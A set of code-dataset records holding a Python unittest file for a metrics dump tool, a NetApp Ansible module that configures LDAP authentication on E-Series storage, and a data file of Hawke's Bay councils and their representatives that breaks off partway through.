+{"seq_id":"31912395762","text":"import unittest\n\nfrom lib.dump import MetricsDump\n\n\nclass Tests(unittest.TestCase):\n    def test(self):\n        dump1 = MetricsDump.from_str(\"\"\"\n# the following are duplicate families\ntest_family_d {abc=\"123\"} 0 0\ntest_family_d {abc=\"456\"} 0 0\n\"\"\")\n\n        dump2 = MetricsDump.from_str(\"\"\"\n# the following are duplicate families\n# TYPE test_family_d counter\ntest_family_d {abc=\"123\"} 0 0\ntest_family_d {abc=\"456\"} 0 0\n\"\"\")\n\n        pass\n\n\nclass ValidationTests(unittest.TestCase):\n    #     def test_invalid_input(self):\n    #         \"\"\"\n    #         Test the\n    #         \"\"\"\n    #         data = \"\"\"\n    # busted busted busted\n    #         \"\"\"\n    #\n    #         with self.assertRaises(ValueError):\n    #             metric_dump_tool.MetricsDump.from_lines(data)\n\n    def test_duplicate_families(self):\n        \"\"\"\n        Test that validation finds duplicated metric families\n        \"\"\"\n        dump = MetricsDump.from_str(\"\"\"\n# TYPE test_family_a counter\ntest_family_a {} 1234 1234\n\ntest_family_b {} 0 0\n\n# TYPE test_family_a gauge\ntest_family_a {} 5678 1234\n\n# the following are duplicate samples, not duplicate families\n# TYPE test_family_c gauge\ntest_family_c {} 1234 1234\ntest_family_c {} 1234 1234\n\n# the following are duplicate families\ntest_family_d {abc=\"123\"} 0 0\ntest_family_d {abc=\"456\"} 0 0\n        \"\"\")\n\n        result = dump.validate()\n\n        self.assertIn('test_family_a', result.duplicate_families)\n        self.assertIn('test_family_d', result.duplicate_families)\n        self.assertNotIn('test_family_b', result.duplicate_families)\n        self.assertNotIn('test_family_c', result.duplicate_families)\n\n    def test_duplicate_samples(self):\n        \"\"\"\n        Test that validation finds duplicated metric families\n        \"\"\"\n        dump = MetricsDump.from_lines(\"\"\"\n# TYPE test_family_a gauge\ntest_family_a {hello=\"world\"} 1234 1234\ntest_family_a {hello=\"world\"} 1234 1234\n            \"\"\")\n\n        result = dump.validate()\n\n        self.assertIn('test_family_a', result.duplicate_families)\n        self.assertNotIn('test_family_b', result.duplicate_families)\n\n\nclass DiffTests(unittest.TestCase):\n    def test_added_families(self):\n        from_dump = MetricsDump.from_lines(\"\"\"\ntest_family_a {hello=\"world\"} 0 0\n        \"\"\")\n\n        to_dump = MetricsDump.from_lines(\"\"\"\ntest_family_a {hello=\"world\"} 0 0\ntest_family_a {hello=\"universe\"} 0 0\n\ntest_family_b {} 0 0\n        \"\"\")\n\n        result = from_dump.diff(to_dump)\n\n        self.assertIn('test_family_b', result.added_families)\n        self.assertNotIn('test_family_a', result.added_families)\n\n    def test_removed_families(self):\n        from_dump = MetricsDump.from_lines(\"\"\"\ntest_family_a {hello=\"world\"} 0 0\ntest_family_a {hello=\"universe\"} 0 0\n\ntest_family_b {} 0 0\n        \"\"\")\n\n        to_dump = MetricsDump.from_lines(\"\"\"\ntest_family_a {hello=\"world\"} 0 0\n        \"\"\")\n\n        result = from_dump.diff(to_dump)\n\n        self.assertIn('test_family_b', result.removed_families)\n        self.assertNotIn('test_family_a', result.removed_families)","repo_name":"serban21/cassandra-exporter","sub_path":"test/lib/dump_tests.py","file_name":"dump_tests.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"72040345336","text":"#!/usr/bin/python\n\n# (c) 2018, NetApp, Inc\n# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)\n\nfrom __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\nANSIBLE_METADATA = {'metadata_version': '1.1',\n                    'status': ['deprecated'],\n                    'supported_by': 'community'}\n\nDOCUMENTATION = '''\n---\nmodule: netapp_e_ldap\nshort_description: NetApp E-Series manage LDAP integration to use for authentication\ndescription:\n    - Configure an E-Series system to allow authentication via an LDAP server\nversion_added: '2.7'\nauthor: Michael Price (@lmprice)\nextends_documentation_fragment:\n    - netapp_eseries.santricity.santricity.netapp.eseries\noptions:\n    state:\n        description:\n            - Enable/disable LDAP support on the system. Disabling will clear out any existing defined domains.\n        choices:\n            - present\n            - absent\n        default: present\n        type: str\n    identifier:\n        description:\n            - This is a unique identifier for the configuration (for cases where there are multiple domains configured).\n            - If this is not specified, but I(state=present), we will utilize a default value of 'default'.\n        type: str\n    username:\n        description:\n            - This is the user account that will be used for querying the LDAP server.\n            - \"Example: CN=MyBindAcct,OU=ServiceAccounts,DC=example,DC=com\"\n        required: yes\n        type: str\n        aliases:\n            - bind_username\n    password:\n        description:\n            - This is the password for the bind user account.\n        required: yes\n        type: str\n        aliases:\n            - bind_password\n    attributes:\n        description:\n            - The user attributes that should be considered for the group to role mapping.\n            - Typically this is used with something like 'memberOf', and a user's access is tested against group\n              membership or lack thereof.\n        default: memberOf\n        type: list\n    server:\n        description:\n            - This is the LDAP server url.\n            - The connection string should be specified as using the ldap or ldaps protocol along with the port\n              information.\n        aliases:\n            - server_url\n        required: yes\n        type: str\n    name:\n        description:\n            - The domain name[s] that will be utilized when authenticating to identify which domain to utilize.\n            - Default to use the DNS name of the I(server).\n            - The only requirement is that the name[s] be resolvable.\n            - \"Example: user@example.com\"\n        required: no\n        type: list\n    search_base:\n        description:\n            - The search base is used to find group memberships of the user.\n            - \"Example: ou=users,dc=example,dc=com\"\n        required: yes\n        type: str\n    role_mappings:\n        description:\n            - This is where you specify which groups should have access to what permissions for the\n              storage-system.\n            - For example, all users in group A will be assigned all 4 available roles, which will allow access\n              to all the management functionality of the system (super-user). Those in group B only have the\n              storage.monitor role, which will allow only read-only access.\n            - This is specified as a mapping of regular expressions to a list of roles. See the examples.\n            - The roles that will be assigned to to the group/groups matching the provided regex.\n            - storage.admin allows users full read/write access to storage objects and operations.\n            - storage.monitor allows users read-only access to storage objects and operations.\n            - support.admin allows users access to hardware, diagnostic information, the Major Event\n              Log, and other critical support-related functionality, but not the storage configuration.\n            - security.admin allows users access to authentication/authorization configuration, as well\n              as the audit log configuration, and certification management.\n        type: dict\n        required: yes\n    user_attribute:\n        description:\n            - This is the attribute we will use to match the provided username when a user attempts to\n              authenticate.\n        type: str\n        default: sAMAccountName\n    log_path:\n        description:\n            - A local path to a file to be used for debug logging\n        required: no\n        type: str\nnotes:\n    - Check mode is supported.\n    - This module allows you to define one or more LDAP domains identified uniquely by I(identifier) to use for\n      authentication. Authorization is determined by I(role_mappings), in that different groups of users may be given\n      different (or no), access to certain aspects of the system and API.\n    - The local user accounts will still be available if the LDAP server becomes unavailable/inaccessible.\n    - Generally, you'll need to get the details of your organization's LDAP server before you'll be able to configure\n      the system for using LDAP authentication; every implementation is likely to be very different.\n    - This API is currently only supported with the Embedded Web Services API v2.0 and higher, or the Web Services Proxy\n      v3.0 and higher.\n'''\n\nEXAMPLES = '''\n    - name: Disable LDAP authentication\n      netapp_e_ldap:\n        api_url: \"10.1.1.1:8443\"\n        api_username: \"admin\"\n        api_password: \"myPass\"\n        ssid: \"1\"\n        state: absent\n\n    - name: Remove the 'default' LDAP domain configuration\n      netapp_e_ldap:\n        state: absent\n        identifier: default\n\n    - name: Define a new LDAP domain, utilizing defaults where possible\n      netapp_e_ldap:\n        state: present\n        bind_username: \"CN=MyBindAccount,OU=ServiceAccounts,DC=example,DC=com\"\n        bind_password: \"mySecretPass\"\n        server: \"ldap://example.com:389\"\n        search_base: 'OU=Users,DC=example,DC=com'\n        role_mappings:\n          \".*dist-dev-storage.*\":\n            - storage.admin\n            - security.admin\n            - support.admin\n            - storage.monitor\n'''\n\nRETURN = \"\"\"\nmsg:\n    description: Success message\n    returned: on success\n    type: str\n    sample: The ldap settings have been updated.\n\"\"\"\n\nimport json\nimport logging\n\ntry:\n    import urlparse\nexcept ImportError:\n    import urllib.parse as urlparse\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible_collections.netapp_eseries.santricity.plugins.module_utils.netapp import request, eseries_host_argument_spec\nfrom ansible.module_utils._text import to_native\n\n\nclass Ldap(object):\n    NO_CHANGE_MSG = \"No changes were necessary.\"\n\n    def __init__(self):\n        argument_spec = eseries_host_argument_spec()\n        argument_spec.update(dict(\n            state=dict(type='str', required=False, default='present',\n                       choices=['present', 'absent']),\n            identifier=dict(type='str', required=False, ),\n            username=dict(type='str', required=False, aliases=['bind_username']),\n            password=dict(type='str', required=False, aliases=['bind_password'], no_log=True),\n            name=dict(type='list', required=False, ),\n            server=dict(type='str', required=False, aliases=['server_url']),\n            search_base=dict(type='str', required=False, ),\n            role_mappings=dict(type='dict', required=False, ),\n            user_attribute=dict(type='str', required=False, default='sAMAccountName'),\n            attributes=dict(type='list', default=['memberOf'], required=False, ),\n            log_path=dict(type='str', required=False),\n        ))\n\n        required_if = [\n            [\"state\", \"present\", [\"username\", \"password\", \"server\", \"search_base\", \"role_mappings\", ]]\n        ]\n\n        self.module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=True, required_if=required_if)\n        args = self.module.params\n        self.ldap = args['state'] == 'present'\n        self.identifier = args['identifier']\n        self.username = args['username']\n        self.password = args['password']\n        self.names = args['name']\n        self.server = args['server']\n        self.search_base = args['search_base']\n        self.role_mappings = args['role_mappings']\n        self.user_attribute = args['user_attribute']\n        self.attributes = args['attributes']\n\n        self.ssid = args['ssid']\n        self.url = args['api_url']\n        self.creds = dict(url_password=args['api_password'],\n                          validate_certs=args['validate_certs'],\n                          url_username=args['api_username'],\n                          timeout=60)\n\n        self.check_mode = self.module.check_mode\n\n        log_path = args['log_path']\n\n        # logging setup\n        self._logger = logging.getLogger(self.__class__.__name__)\n\n        if log_path:\n            logging.basicConfig(\n                level=logging.DEBUG, filename=log_path, filemode='w',\n                format='%(relativeCreated)dms %(levelname)s %(module)s.%(funcName)s:%(lineno)d\\n %(message)s')\n\n        if not self.url.endswith('/'):\n            self.url += '/'\n\n        self.embedded = None\n        self.base_path = None\n\n    def make_configuration(self):\n        if not self.identifier:\n            self.identifier = 'default'\n\n        if not self.names:\n            parts = urlparse.urlparse(self.server)\n            netloc = parts.netloc\n            if ':' in netloc:\n                netloc = netloc.split(':')[0]\n            self.names = [netloc]\n\n        roles = list()\n        for regex in self.role_mappings:\n            for role in self.role_mappings[regex]:\n                roles.append(dict(groupRegex=regex,\n                                  ignoreCase=True,\n                                  name=role))\n\n        domain = dict(id=self.identifier,\n                      ldapUrl=self.server,\n                      bindLookupUser=dict(user=self.username, password=self.password),\n                      roleMapCollection=roles,\n                      groupAttributes=self.attributes,\n                      names=self.names,\n                      searchBase=self.search_base,\n                      userAttribute=self.user_attribute,\n                      )\n\n        return domain\n\n    def is_embedded(self):\n        \"\"\"Determine whether or not we're using the embedded or proxy implementation of Web Services\"\"\"\n        if self.embedded is None:\n            url = self.url\n            try:\n                parts = urlparse.urlparse(url)\n                parts = parts._replace(path='/devmgr/utils/')\n                url = urlparse.urlunparse(parts)\n\n                (rc, result) = request(url + 'about', **self.creds)\n                self.embedded = not result['runningAsProxy']\n            except Exception as err:\n                self._logger.exception(\"Failed to retrieve the About information.\")\n                self.module.fail_json(msg=\"Failed to determine the Web Services implementation type!\"\n                                          \" Array Id [%s]. Error [%s].\"\n                                          % (self.ssid, to_native(err)))\n\n        return self.embedded\n\n    def get_full_configuration(self):\n        try:\n            (rc, result) = request(self.url + self.base_path, **self.creds)\n            return result\n        except Exception as err:\n            self._logger.exception(\"Failed to retrieve the LDAP configuration.\")\n            self.module.fail_json(msg=\"Failed to retrieve LDAP configuration! Array Id [%s]. Error [%s].\"\n                                      % (self.ssid, to_native(err)))\n\n    def get_configuration(self, identifier):\n        try:\n            (rc, result) = request(self.url + self.base_path + '%s' % (identifier), ignore_errors=True, **self.creds)\n            if rc == 200:\n                return result\n            elif rc == 404:\n                return None\n            else:\n                self.module.fail_json(msg=\"Failed to retrieve LDAP configuration! Array Id [%s]. Error [%s].\"\n                                          % (self.ssid, result))\n        except Exception as err:\n            self._logger.exception(\"Failed to retrieve the LDAP configuration.\")\n            self.module.fail_json(msg=\"Failed to retrieve LDAP configuration! Array Id [%s]. Error [%s].\"\n                                      % (self.ssid, to_native(err)))\n\n    def update_configuration(self):\n        # Define a new domain based on the user input\n        domain = self.make_configuration()\n\n        # This is the current list of configurations\n        current = self.get_configuration(self.identifier)\n\n        update = current != domain\n        msg = \"No changes were necessary for [%s].\" % self.identifier\n        self._logger.info(\"Is updated: %s\", update)\n        if update and not self.check_mode:\n            msg = \"The configuration changes were made for [%s].\" % self.identifier\n            try:\n                if current is None:\n                    api = self.base_path + 'addDomain'\n                else:\n                    api = self.base_path + '%s' % (domain['id'])\n\n                (rc, result) = request(self.url + api, method='POST', data=json.dumps(domain), **self.creds)\n            except Exception as err:\n                self._logger.exception(\"Failed to modify the LDAP configuration.\")\n                self.module.fail_json(msg=\"Failed to modify LDAP configuration! Array Id [%s]. Error [%s].\"\n                                          % (self.ssid, to_native(err)))\n\n        return msg, update\n\n    def clear_single_configuration(self, identifier=None):\n        if identifier is None:\n            identifier = self.identifier\n\n        configuration = self.get_configuration(identifier)\n        updated = False\n        msg = self.NO_CHANGE_MSG\n        if configuration:\n            updated = True\n            msg = \"The LDAP domain configuration for [%s] was cleared.\" % identifier\n            if not self.check_mode:\n                try:\n                    (rc, result) = request(self.url + self.base_path + '%s' % identifier, method='DELETE', **self.creds)\n                except Exception as err:\n                    self.module.fail_json(msg=\"Failed to remove LDAP configuration! Array Id [%s]. Error [%s].\"\n                                              % (self.ssid, to_native(err)))\n        return msg, updated\n\n    def clear_configuration(self):\n        configuration = self.get_full_configuration()\n        updated = False\n        msg = self.NO_CHANGE_MSG\n        if configuration['ldapDomains']:\n            updated = True\n            msg = \"The LDAP configuration for all domains was cleared.\"\n            if not self.check_mode:\n                try:\n                    (rc, result) = request(self.url + self.base_path, method='DELETE', ignore_errors=True, **self.creds)\n\n                    # Older versions of NetApp E-Series restAPI does not possess an API to remove all existing configs\n                    if rc == 405:\n                        for config in configuration['ldapDomains']:\n                            self.clear_single_configuration(config['id'])\n\n                except Exception as err:\n                    self.module.fail_json(msg=\"Failed to clear LDAP configuration! Array Id [%s]. Error [%s].\"\n                                              % (self.ssid, to_native(err)))\n        return msg, updated\n\n    def get_base_path(self):\n        embedded = self.is_embedded()\n        if embedded:\n            return 'storage-systems/%s/ldap/' % self.ssid\n        else:\n            return '/ldap/'\n\n    def update(self):\n        self.base_path = self.get_base_path()\n\n        if self.ldap:\n            msg, update = self.update_configuration()\n        elif self.identifier:\n            msg, update = self.clear_single_configuration()\n        else:\n            msg, update = self.clear_configuration()\n        self.module.exit_json(msg=msg, changed=update, )\n\n    def __call__(self, *args, **kwargs):\n        self.update()\n\n\ndef main():\n    settings = Ldap()\n    settings()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"NetApp/santricity","sub_path":"plugins/modules/netapp_e_ldap.py","file_name":"netapp_e_ldap.py","file_ext":"py","file_size_in_byte":16203,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"}
+{"seq_id":"28706157860","text":"# Base information for loading into database\n\norganisations = [\n    {\n        \"orgName\": \"Napier City Council\",\n        \"shortName\": \"NCC\",\n        \"mapName\": \"Napier City\",\n        \"mapID\": \"031\"\n    },\n    {\n        \"orgName\": \"Hastings District Council\",\n        \"shortName\": \"HDC\",\n        \"mapName\": \"Hastings District\",\n        \"mapID\": \"030\"\n    },\n    {\n        \"orgName\": \"Central Hawke's Bay District Council\",\n        \"shortName\": \"CHBDC\",\n        \"mapName\": \"Central Hawke's Bay District\",\n        \"mapID\": \"032\"\n    },\n    {\n        \"orgName\": \"Hawke's Bay Regional Council\",\n        \"shortName\": \"HBRC\",\n        \"mapName\": \"Hawke's Bay Region\",\n        \"mapID\": \"06\"\n    },\n    {\n        \"orgName\": \"Wairoa District Council\",\n        \"shortName\": \"WDC\",\n        \"mapName\": \"Wairoa District\",\n        \"mapID\": \"029\"\n    },\n    {\n        \"orgName\": \"Hawke's Bay District Health Board\",\n        \"shortName\": \"HBDHB\",\n        \"mapName\": \"\",\n        \"mapID\": \"\"\n    }\n]\n\nrepresentatives = [\n    {\n        \"orgShortName\": \"HDC\",\n        \"fromDate\": \"\",\n        \"toDate\": \"\",\n        \"reps\": [\n            {\n                \"Surname\": \"Hazlehurst\",\n                \"Forename\": \"Sandra\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/SandraHazlehurst-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"Kerr\",\n                \"Forename\": \"Tania\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/TaniaKerr-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"Barber\",\n                \"Forename\": \"Bayden\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/BaydenBarber-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"Dixon\",\n                \"Forename\": \"Malcolm\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/MalcolmDixon-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"Harvey\",\n                \"Forename\": \"Damon\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/DamonHarvey-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"Heaps\",\n                \"Forename\": \"Rod\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/RodHeaps-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"Lawson\",\n                \"Forename\": \"Eileen\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/EileenLawson-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"Lyons\",\n                \"Forename\": \"George\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/GeorgeLyons-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"Nixon\",\n                \"Forename\": \"Simon\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/SimonNixon-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"O'Keefe\",\n                \"Forename\": \"Henare\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/HenareOkeefe-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"Poulain\",\n                \"Forename\": \"Jacoby\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/JacobyPoulain-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"Redstone\",\n                \"Forename\": \"Ann\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/AnnRedstone-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"Schollum\",\n                \"Forename\": \"Wendy\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/WendySchollum-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"Travers\",\n                \"Forename\": \"Geraldine\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/GeraldineTravers-HDCweb.jpg\"\n            },\n            {\n                \"Surname\": \"Watkins\",\n                \"Forename\": \"Kevin\",\n                \"ImageUrl\": \"https://www.hastingsdc.govt.nz/assets/Contacts/KevinWatkins-HDCweb.jpg\"\n            }\n        ]\n    },\n    {\n        \"orgShortName\": \"NCC\",\n        \"fromDate\": \"\",\n        \"toDate\": \"\",\n        \"reps\": [\n            {\n                \"Surname\": \"White\",\n                \"Forename\": \"Faye\",\n                \"ImageUrl\": \"https://www.napier.govt.nz/assets/Contacts/Councillor-Faye-White-Oct-2016.jpg\"\n            },\n            {\n                \"Surname\": \"Dalton\",\n                \"Forename\": \"Bill\",\n                \"ImageUrl\": \"https://www.napier.govt.nz/assets/Contacts/Mayor-Bill-Dalton-Oct-2016-3.jpg\"\n            },\n            {\n                \"Surname\": \"Price\",\n                \"Forename\": \"Keith\",\n                \"ImageUrl\": \"https://www.napier.govt.nz/assets/Contacts/Councillor-Keith-Price-Oct-2016-2.jpg\"\n            },\n            {\n                \"Surname\": \"McGrath\",\n                \"Forename\": \"Richard\",\n                \"ImageUrl\": \"https://www.napier.govt.nz/assets/Contacts/Councillor-Richard-McGrath-Oct-2016-2.jpg\"\n            },\n            {\n                \"Surname\": \"Jeffery\",\n                \"Forename\": \"Tony\",\n                \"ImageUrl\": \"https://www.napier.govt.nz/assets/Contacts/Councillor-Tony-Jefferies-Mar-2017-2.jpg\"\n            },\n            {\n                \"Surname\": \"Boag\",\n                \"Forename\": \"Maxine\",\n                \"ImageUrl\": \"https://www.napier.govt.nz/assets/Contacts/Councillor-Maxine-Boag-Oct-2016-5.jpg\"\n            },\n            {\n                \"Surname\": \"Brosnan\",\n                \"Forename\": \"Annette\",\n                \"ImageUrl\": \"https://www.napier.govt.nz/assets/Contacts/Councillor-Annette-Brosnan-Oct-2016-7.jpg\"\n            },\n            {\n                \"Surname\": \"Taylor\",\n                \"Forename\": \"Graeme\",\n                \"ImageUrl\": \"https://www.napier.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Councillor-Graeme-Taylor-Oct-2016-7.jpg\"\n            },\n            {\n                \"Surname\": \"Wise\",\n                \"Forename\": \"Kirsten\",\n                \"ImageUrl\": \"https://www.napier.govt.nz/assets/Contacts/Councillor-Kirsten-Wise-Mar-2017.jpg\"\n            },\n            {\n                \"Surname\": \"Hague\",\n                \"Forename\": \"Claire\",\n                \"ImageUrl\": \"https://www.napier.govt.nz/assets/Contacts/Councillor-Claire-Hague-Oct-2016-6.jpg\"\n            },\n            {\n                \"Surname\": \"Dallimore\",\n                \"Forename\": \"Larry\",\n                \"ImageUrl\": \"https://www.napier.govt.nz/assets/Contacts/Councillor-Larry-Dallimore-Oct-2016-8.jpg\"\n            },\n            {\n                \"Surname\": \"Wright\",\n                \"Forename\": \"Tania\",\n                \"ImageUrl\": \"https://www.napier.govt.nz/assets/Contacts/Councillor-Tania-Wright-Oct-2016-12.jpg\"\n            },\n            {\n                \"Surname\": \"Tapine\",\n                \"Forename\": \"Api\",\n                \"ImageUrl\": \"https://www.napier.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Councillor-Apiata-Tapine-Oct-2016.jpg\"\n            }\n        ]\n    },\n    {\n        \"orgShortName\": \"HBRC\",\n        \"fromDate\": \"\",\n        \"toDate\": \"\",\n        \"reps\": [\n            {\n                \"Surname\": \"Graham\",\n                \"Forename\": \"Rex\",\n                \"ImageUrl\": \"https://www.hbrc.govt.nz/assets/Uploads/Councillors/_resampled/FillWyI4MDAiLCI4MDAiXQ-A77P5437.jpg\"\n            },\n            {\n                \"Surname\": \"Barker\",\n                \"Forename\": \"Rick\",\n                \"ImageUrl\": \"https://www.hbrc.govt.nz/assets/Uploads/Councillors/_resampled/FillWyI4MDAiLCI4MDAiXQ-A77P5416.jpg\"\n            },\n            {\n                \"Surname\": \"Dick\",\n                \"Forename\": \"Alan\",\n                \"ImageUrl\": \"https://www.hbrc.govt.nz/assets/Uploads/Councillors/_resampled/FillWyI4MDAiLCI4MDAiXQ-Alan-Dick-cropped.jpg\"\n            },\n            {\n                \"Surname\": \"Belford\",\n                \"Forename\": \"Tom\",\n                \"ImageUrl\": \"https://www.hbrc.govt.nz/assets/Uploads/Councillors/_resampled/FillWyI4MDAiLCI4MDAiXQ-A77P5413.jpg\"\n            },\n            {\n                \"Surname\": \"Wilson\",\n                \"Forename\": \"Fenton\",\n                \"ImageUrl\": \"https://www.hbrc.govt.nz/assets/Uploads/Councillors/_resampled/FillWyI4MDAiLCI4MDAiXQ-A77P5404.jpg\"\n            },\n            {\n                \"Surname\": \"Hewitt\",\n                \"Forename\": \"Debbie\",\n                \"ImageUrl\": \"https://www.hbrc.govt.nz/assets/Uploads/Councillors/_resampled/FillWyI4MDAiLCI4MDAiXQ-A77P5432.jpg\"\n            },\n            {\n                \"Surname\": \"Beaven\",\n                \"Forename\": \"Peter\",\n                \"ImageUrl\": \"https://www.hbrc.govt.nz/assets/Uploads/Councillors/_resampled/FillWyI4MDAiLCI4MDAiXQ-A77P5409.jpg\"\n            },\n            {\n                \"Surname\": \"Kirton\",\n                \"Forename\": \"Neil\",\n                \"ImageUrl\": \"https://www.hbrc.govt.nz/assets/Uploads/Councillors/_resampled/FillWyI4MDAiLCI4MDAiXQ-A77P5460.jpg\"\n            },\n            {\n                \"Surname\": \"Bailey\",\n                \"Forename\": \"Paul\",\n                \"ImageUrl\": \"https://www.hbrc.govt.nz/assets/Uploads/Councillors/_resampled/FillWyI4MDAiLCI4MDAiXQ-Paul-Bailey-cropped.jpg\"\n            }\n        ]\n    },\n    {\n        \"orgShortName\": \"HBDHB\",\n        \"fromDate\": \"\",\n        \"toDate\": \"\",\n        \"reps\": [\n            {\"Surname\": \"Atkinson\", \"Forename\": \"Kevin\", \"ImageUrl\": \"\"},\n            {\"Surname\": \"Arnott\", \"Forename\": \"Barbara\", \"ImageUrl\": \"\"},\n            {\"Surname\": \"Flood\", \"Forename\": \"Hine\", \"ImageUrl\": \"\"},\n            {\"Surname\": \"Druzianic\", \"Forename\": \"Dan\", \"ImageUrl\": \"\"},\n            {\"Surname\": \"Dunkerley\", \"Forename\": \"Peter\", \"ImageUrl\": \"\"},\n            {\"Surname\": \"Apatu\", \"Forename\": \"Ana\", \"ImageUrl\": \"\"},\n            {\"Surname\": \"Francis\", \"Forename\": \"Helen\", \"ImageUrl\": \"\"},\n            {\"Surname\": \"Kirton\", \"Forename\": \"Diana\", \"ImageUrl\": \"\"},\n            {\"Surname\": \"Poulain\", \"Forename\": \"Jacoby\", \"ImageUrl\": \"\"},\n            {\"Surname\": \"Skipworth\", \"Forename\": \"Heather\", \"ImageUrl\": \"\"},\n            {\"Surname\": \"Tomoana\", \"Forename\": \"Ngahiwi\", \"ImageUrl\": \"\"}\n        ]\n    },\n    {\n        \"orgShortName\": \"CHBDC\",\n        \"fromDate\": \"\",\n        \"toDate\": \"\",\n        \"reps\": [\n            {\n                \"Surname\": \"Walker\",\n                \"Forename\": \"Alex\",\n                \"ImageUrl\": \"https://www.chbdc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Mayor-Alex-Walker.jpg\"\n            },\n            {\n                \"Surname\": \"Sharp\",\n                \"Forename\": \"Ian\",\n                \"ImageUrl\": \"https://www.chbdc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Ian-Sharp.jpg\"\n            },\n            {\n                \"Surname\": \"Aitken\",\n                \"Forename\": \"Tim\",\n                \"ImageUrl\": \"https://www.chbdc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Tim-Aitken.jpg\"\n            },\n            {\n                \"Surname\": \"Annand\",\n                \"Forename\": \"Kelly\",\n                \"ImageUrl\": \"https://www.chbdc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Kelly-Annand-2.jpg\"\n            },\n            {\n                \"Surname\": \"Burne-Field\",\n                \"Forename\": \"Shelley\",\n                \"ImageUrl\": \"https://www.chbdc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Shelley-Burne-Field.jpg\"\n            },\n            {\n                \"Surname\": \"Chote\",\n                \"Forename\": \"Tim\",\n                \"ImageUrl\": \"https://www.chbdc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Tim-Chote.jpg\"\n            },\n            {\n                \"Surname\": \"Minehan\",\n                \"Forename\": \"Gerard\",\n                \"ImageUrl\": \"https://www.chbdc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Gerard-Minehan.jpg\"\n            },\n            {\n                \"Surname\": \"Muggeridge\",\n                \"Forename\": \"Brent\",\n                \"ImageUrl\": \"https://www.chbdc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Brent-Muggeridge.jpg\"\n            },\n            {\n                \"Surname\": \"Tennent\",\n                \"Forename\": \"David\",\n                \"ImageUrl\": \"https://www.chbdc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-David-Tennent.jpg\"\n            }\n        ]\n    },\n    {\n        \"orgShortName\": \"WDC\",\n        \"fromDate\": \"\",\n        \"toDate\": \"\",\n        \"reps\": [\n            {\n                \"Surname\": \"Little\",\n                \"Forename\": \"Craig\",\n                \"ImageUrl\": \"https://www.wairoadc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Craig-Little.jpg\"\n            },\n            {\n                \"Surname\": \"Eaglesome-Karekare\",\n                \"Forename\": \"Denise\",\n                \"ImageUrl\": \"https://www.wairoadc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Denise-Eaglesome-Karekare.jpg\"\n            },\n            {\n                \"Surname\": \"Lambert\",\n                \"Forename\": \"Charlie\",\n                \"ImageUrl\": \"https://www.wairoadc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Charlie-Lambert.jpg\"\n            },\n            {\n                \"Surname\": \"Bird\",\n                \"Forename\": \"Michael\",\n                \"ImageUrl\": \"https://www.wairoadc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Mike-Bird.jpg\"\n            },\n            {\n                \"Surname\": \"Flood\",\n                \"Forename\": \"Hine\",\n                \"ImageUrl\": \"https://www.wairoadc.govt.nz/assets/Contacts/_resampled/FillWyI4MDAiLCI4MDAiXQ-Hine-Flood.jpg\"\n            },\n            {\n                \"Surname\": \"Johansen\",\n                \"Forename\": \"Michael\",\n                \"ImageUrl\": 